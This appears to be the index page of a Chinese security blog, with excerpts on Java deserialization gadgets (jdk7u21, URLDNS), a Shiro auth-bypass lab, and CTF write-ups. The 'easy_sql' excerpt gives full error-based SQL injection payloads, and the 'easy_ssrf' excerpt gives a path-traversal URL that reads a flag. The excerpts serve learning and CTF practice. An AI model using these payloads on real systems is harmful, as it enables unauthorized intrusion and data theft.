0%

在ysoserial 的payloads目录下 有一个jdk7u21,以往的反序列化Gadget都是需要借助第三方库才可以成功执行,但是jdk7u21的Gadget执行过程中所用到的所有类都存在在JDK中

影响版本:

  • JDK <= 7u21

测试环境:

  • JDK 7u21

pom.xml

1
2
3
4
5
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.0.GA</version>
</dependency>

需要添加javassist依赖

Read more »

权限绕过

环境搭建

基于此源码:https://github.com/l3yx/springboot-shiro

导入idea,application.properties添加

1
server.servlet.context-path=/test

因为pom.xml里排除了springboot内置的tomcat,新建Configurations->Tomcat Server,添加新的deployment,并设置context为/test,然后运行即可

image-20210521160532545

Shiro基础

Shiro验证

1
2
anon 不需要验证,可以直接访问
authc 需要验证,也就是我们需要bypass的地方

Shiro的URL路径表达式为Ant格式

1
2
3
4
/hello 只匹配url http://demo.com/hello
/h? 只匹配url http://demo.com/h+任意一个字符
/hello/* 匹配url下 http://demo.com/hello/xxxx的任意内容,不匹配多个路径
/hello/** 匹配url下 http://demo.com/hello/xxxx/aaaa的任意内容,匹配多个路径
Read more »

easy_sql

报错注入,盲猜flag表,但不知道名称,用重复column名爆列名

参考:无列名注入小记

1
uname=%27)/**/||/**/(select/**/1/**/from/**/flag/**/where(select/**/*/**/from(select/**/*/**/from/**/flag/**/as a/**/join/**/flag/**/as/**/b/**/using(id,no))as/**/c))/**/or/**/('1&passwd=1&Submit=%E7%99%BB%E5%BD%95

image-20210518133713042

1
2
3
uname=%27)/**/and/**/extractvalue(1,concat(0x7e,(select/**/substr(`e691d77e-5da1-409b-a37b-ff4edfa14123`,31)/**/from/**/flag),0x7e))/**/and/**/('0&passwd=1&Submit=%E7%99%BB%E5%BD%95

uname=%27)/**/and/**/extractvalue(1,concat(0x7e,(select/**/substr(`e691d77e-5da1-409b-a37b-ff4edfa14123`)/**/from/**/flag),0x7e))/**/and/**/('0&passwd=1&Submit=%E7%99%BB%E5%BD%95

读出flag CISCN{9fO5F-WC2YL-GY3zM-R4aIu-kAjxU-}

Read more »

前言

大部分参照p1g3@D0g3师傅的文章,先入概念太重了,就当放个笔记吧

URLDNS

URLDNS 完全使用Java内置的类构造,无需第三方库支持。不能执行命令,通常用来验证目标是否存在反序列化漏洞。

  • 只依赖原生类
  • 不限制jdk版本

测试环境:jdk 11u8

利用链

1
2
3
4
5
HashMap.readObject()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
Read more »

Web

easy_ssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
echo'<center><strong>welc0me to 2020UNCTF!!</strong></center>';
highlight_file(__FILE__);
$url = $_GET['url'];
if(preg_match('/unctf\.com/',$url)){
if(!preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)){
$url=file_get_contents($url);
echo($url);
}else{
echo('error!!');
}
}else{
echo("error");
}
?>

url里只要包含 unctf.com 即可,开始想多了,弄到 gopher 协议了,然后发现 dictgopher 协议根本没开启,手慢错失三血

1
http://e035ba36-6bf8-44c8-9837-2afecc32ca08.node3.hackingfor.fun/?url=/unctf.com/../../../../flag
Read more »

一、原型链基础知识

关于原型链基础可以查看:继承与原型链

JavaScript 只有一种结构:对象。每个实例对象( object )都有一个私有属性(称之为 proto )指向它的构造函数的原型对象(prototype )。该原型对象也有一个自己的原型对象( proto ) ,层层向上直到一个对象(Object)的原型对象为 null。根据定义,null 没有原型,并作为这个原型链中的最后一个环节。

JavaScript 是动态的,本身不提供一个 class 实现(ES6 引入了 class 关键字,但只是语法糖,JavaScript 任然是基于原型的)

prototype 和 __proto__

JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:

1
2
3
4
5
function Foo() {
this.bar = 1
}

var foo = new Foo()

Foo 函数的内容,就是 Foo 类的构造函数,而 this.bar 就是Foo类的一个属性。

Read more »

一、第一天

上午

CTF 夺旗,考验基础渗透能力,有些简单的题目 sqlmap 可以直接出,主要是 Web 和 Misc 方向的题目,一个半小时20多道题目,时间有点紧。没有提供网线,WiFi 连接内网,切换热点查资料不是很方便。

Read more »

前言

本文主要针对 PHP 函数相关的漏洞的总结,可能会偏向 CTF 方面,内容肯定不全,有空的话会持续更新,欢迎各位表哥补充以及对文章错误之处进行斧正!

Read more »

1 XML 基础

XML(可扩展标记语言,EXtensible Markup Language ),是一种标记语言,用来传输和存储数据

1.1 XML文档结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

Read more »

1 Java Web 目录结构

image-20200816173234356

目录 描述
/test1_war_exploded Web应用根目录,存储 jsp 或 html 文件
/test1_war_exploded/WEB-INF 存放配置文件,不能直接访问
/test1_war_exploded/WEB-INF/classes 存放编译后的 class 文件
/test1_war_exploded/WEB-INF/lib 存放所需 jar 文件,如 JDBC 驱动的 jar 文件

web.xml:servlet 、servlet mapping 以及其他配置

编译 servlet 命令:

1
javac  -sourcepath src -classpath D:\soft\server\apache-tomcat-9.0.37\lib\servlet-api.jar -d WEB-INF\classes src\mypack\DispatcherServlet.java
Read more »